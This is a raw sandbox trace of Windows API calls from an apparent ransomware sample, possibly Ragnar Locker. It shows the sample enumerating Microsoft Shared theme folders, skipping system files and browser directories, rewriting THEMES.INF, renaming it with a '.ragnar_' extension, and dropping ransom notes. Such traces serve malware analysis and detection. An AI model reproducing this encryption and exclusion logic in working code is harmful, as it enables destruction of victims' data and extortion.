returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ecf3ca0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ed3ff60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f1dca00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f228cc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f2c1240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f30d500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f30d500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f333660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1a8c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.565] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.565] lstrcpyW (in: lpString1=0x1eb638, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.565] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.565] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f6eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f94cec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fd2b280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fd2b280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fdc3800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fdc3800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fe35c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fe81ee0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fe81ee0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff1a460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff8c880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff8c880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80344ae0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x803b6f00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80429320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0077.565] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.565] lstrcpyW (in: lpString1=0x1eb638, lpString2="THEMES.INF" | out: lpString1="THEMES.INF") returned="THEMES.INF" [0077.565] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned=".INF" [0077.565] lstrcmpiW (lpString1="THEMES.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.565] lstrcmpiW (lpString1="THEMES.INF", lpString2="autorun.inf") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="boot.ini") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="bootfont.bin") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="bootsect.bak") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="bootmgr") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="bootmgr.efi") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="bootmgfw.efi") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="desktop.ini") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="iconcache.db") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="ntldr") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="ntuser.dat") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="ntuser.dat.log") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="ntuser.ini") returned 1 [0077.566] lstrcmpiW (lpString1="THEMES.INF", lpString2="thumbs.db") returned -1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0077.566] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0077.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0077.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.568] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7276) returned 1 [0077.568] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.568] GetProcessHeap () returned 0x580000 [0077.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.568] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0077.569] VirtualAlloc (lpAddress=0x0, dwSize=0x1c6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.569] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.570] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0077.570] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c6c, lpOverlapped=0x0) returned 1 [0077.570] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0077.570] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.571] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c6c, lpOverlapped=0x0) returned 1 [0077.571] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.571] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.571] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.571] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0077.571] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0077.571] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0077.571] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.571] GetProcessHeap () returned 0x580000 [0077.571] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.571] CloseHandle (hObject=0x10c) returned 1 [0077.571] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" [0077.571] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.ragnar_FD7BD9FC" [0077.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x804755e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0077.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807952c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807952c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0077.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807952c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807952c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0077.572] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0077.572] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2=".") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="..") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Windows") returned -1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Windows.old") returned -1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Tor browser") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Internet Explorer") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Google") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Opera") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Opera Software") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Mozilla") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="Mozilla Firefox") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="$Recycle.Bin") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="ProgramData") returned 1 [0077.572] lstrcmpiW (lpString1="TRANSLAT", lpString2="All Users") returned 1 [0077.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0077.573] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="TRANSLAT" | out: lpString1="TRANSLAT") returned="TRANSLAT" [0077.573] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0077.573] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0077.573] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RGNR_FD7BD9FC.txt" [0077.573] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.576] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*" [0077.576] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.576] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.576] lstrcpyW (in: lpString1=0x1eb224, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, 